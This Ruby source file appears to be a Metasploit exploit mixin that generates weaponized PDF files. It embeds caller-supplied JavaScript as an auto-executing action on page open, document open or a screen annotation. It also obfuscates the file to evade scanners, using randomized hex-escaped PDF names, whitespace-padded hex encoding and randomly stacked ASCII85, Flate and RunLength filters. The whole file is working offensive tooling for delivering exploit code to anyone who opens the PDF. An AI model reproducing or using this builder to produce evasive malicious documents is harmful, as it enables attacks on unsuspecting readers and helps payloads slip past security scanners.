# -*- coding: binary -*-
##
# $Id$
##

###
#
# This module provides methods for creating PDF files.
#
###

module Msf
module Exploit::PDF

	def initialize(info = {})
	super

	register_options(
		[
			OptBool.new('PDF::Obfuscate', [ true, 'Whether or not we should obfuscate the output', true ]),
			OptString.new('PDF::Method', [ true, 'Select PAGE, DOCUMENT, or ANNOTATION' , 'DOCUMENT']),
			OptString.new('PDF::Encoder', [ true, 'Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX', 'ASCIIHEX']),
			OptInt.new('PDF::MultiFilter', [ true, 'Stack multiple encodings n times', 1]),
		], Msf::Exploit::PDF
	)

	# We're assuming we'll only create one pdf at a time here.
	@xref = []
	@pdf = ''
	end

	##
	#Original Filters
	##

	def ASCIIHexWhitespaceEncode(str)
		return str if not datastore['PDF::Obfuscate']
		result = ""
		whitespace = ""
		str.each_byte do |b|
			result << whitespace << "%02x" % b
			whitespace = " " * (rand(3) + 1)
		end
		result << ">"
	end

	##
	#Filters from Origami parser
	##
	def RunLengthEncode(stream)
		eod = 128
		result = ""
		i = 0

		while i < stream.size
			#
			# How many identical bytes coming?
			#
			length = 1
			while i+1 < stream.size and length < eod and stream[i] == stream[i+1]
				length = length + 1
				i = i + 1
			end

			#
			# If more than 1, then compress them.
			#
			if length > 1
				result << (257 - length).chr << stream[i,1]

			#
			# Otherwise how many different bytes to copy ?
			#
			else
				j = i
				while j+1 < stream.size and (j - i + 1) < eod and stream[j] != stream[j+1]
					j = j + 1
				end

				length = j - i
				result << length.chr << stream[i, length+1]

				i = j
			end

			i = i + 1
		end
		result << eod.chr
	end

	def RandomNonASCIIString(count)
		result = ""
		count.times do
			result << (rand(128) + 128).chr
		end
		result
	end

	def ASCII85Encode(stream)
		eod = "~>"
		i = 0
		code = ""
		input = stream.dup

		while i < input.size do

			if input.length - i < 4
				addend = 4 - (input.length - i)
				input << "\0" * addend
			else
				addend = 0
			end

			inblock = (input[i].ord * 256**3 + input[i+1].ord * 256**2 + input[i+2].ord * 256 + input[i+3].ord)
			outblock = ""

			5.times do |p|
				c = inblock / 85 ** (4 - p)
				outblock << ("!"[0].ord + c).chr
				inblock -= c * 85 ** (4 - p)
			end

			outblock = "z" if outblock == "!!!!!" and addend == 0

			if addend != 0
				outblock = outblock[0,(4 - addend) + 1]
			end

			code << outblock
			i = i + 4
		end
		code << eod
	end

	# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
	def nObfu(str)
		return str if not datastore['PDF::Obfuscate']

		result = ""
		str.scan(/./u) do |c|
			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
				result << "#%x" % c.unpack("C*")[0]
			else
				result << c
			end
		end
		result
	end

	##
	#PDF building block functions
	##
	def header(version = '1.5')
		hdr = "%PDF-1.5" << eol
		hdr << "%" << RandomNonASCIIString(4) << eol
		hdr
	end

	def add_object(num, data)
		@xref << @pdf.length
		@pdf << ioDef(num)
		@pdf << data
		@pdf << endobj
	end

	def range_rand(min,max)
		until min < r=rand(max); end
		return r
	end

	def finish_pdf
		@xref_offset = @pdf.length
		@pdf << xref_table
		@pdf << trailer(1)
		@pdf << startxref
		@pdf
	end

	def xref_table
		ret = "xref" << eol
		ret << "0 %d" % (@xref.length + 1) << eol
		ret << "0000000000 65535 f" << eol
		@xref.each do |index|
			ret << "%010d 00000 n" % index << eol
		end
		ret
	end

	def trailer(root_obj)
		ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol
		ret
	end

	def startxref
		ret = "startxref" << eol
		ret << @xref_offset.to_s << eol
		ret << "%%EOF" << eol
		ret
	end

	def eol
		"\x0d\x0a"
	end

	def endobj
		"endobj" << eol
	end

	def ioDef(id)
		"%d 0 obj" % id
	end

	def ioRef(id)
		"%d 0 R" % id
	end

	##
	#Controller funtion, should be entrypoint for pdf exploits
	##
	def CreatePDF(js)
		strFilter = ""
		arrResults = []
		numIterations = 0
		arrEncodings = ['ASCII85','ASCIIHEX','FLATE','RUN']
		arrEncodings = arrEncodings.shuffle
		if datastore['PDF::MultiFilter'] < arrEncodings.length
			numIterations = datastore['PDF::MultiFilter']
		else
			numIterations = arrEncodings.length
		end
		for i in (0..numIterations-1)
			if i == 0
				arrResults = SelectEncoder(js,arrEncodings[i],strFilter)
				next
			end
			arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1])
		end
		case datastore['PDF::Method']
		when 'PAGE'
			pdf_with_page_exploit(arrResults[0],arrResults[1])
		when 'DOCUMENT'
			pdf_with_openaction_js(arrResults[0],arrResults[1])
		when 'ANNOTATION'
			pdf_with_annot_js(arrResults[0],arrResults[1])
		end
	end

	##
	#Select an encoder and build a filter specification
	##
	def SelectEncoder(js,strEncode,strFilter)
		case strEncode
		when 'ASCII85'
			js = ASCII85Encode(js)
			strFilter = "/ASCII85Decode"<<strFilter
		when 'ASCIIHEX'
			js = ASCIIHexWhitespaceEncode(js)
			strFilter = "/ASCIIHexDecode"<<strFilter
		when 'FLATE'
			js = Zlib::Deflate.deflate(js)
			strFilter = "/FlateDecode"<<strFilter
		when 'RUN'
			js = RunLengthEncode(js)
			strFilter = "/RunLengthDecode"<<strFilter
		end
		return js,strFilter
	end

	##
	#Create PDF with Page implant
	##
	def pdf_with_page_exploit(js,strFilter)
		@xref = []
		@pdf = ''

		@pdf << header
		add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
		add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
		add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
		add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
		compressed = js
		stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
		stream << "stream" << eol
		stream << compressed << eol
		stream << "endstream" << eol
		add_object(5, stream)

		finish_pdf
	end

	##
	#Create PDF with OpenAction implant Note: doesn't carry over if
	# you try to merge the exploit PDF with an innocuous one
	##
	def pdf_with_openaction_js(js,strFilter)
		@xref = []
		@pdf = ''

		@pdf << header

		add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
		add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
		add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
		add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
		compressed = js
		stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
		stream << "stream" << eol
		stream << compressed << eol
		stream << "endstream" << eol
		add_object(5, stream)

		finish_pdf
	end

	##
	#Create PDF with a malicious annotation
	##
	def pdf_with_annot_js(js,strFilter)
		@xref = []
		@pdf = ''

		@pdf << header

		add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
		add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
		add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
		add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << ioRef(5) << nObfu("]>>"))
		add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << ioRef(6) << nObfu("/S /JavaScript >>>>>>"))
		compressed = js
		stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
		stream << "stream" << eol
		stream << compressed << eol
		stream << "endstream" << eol
		add_object(6, stream)

		finish_pdf
	end
end
end
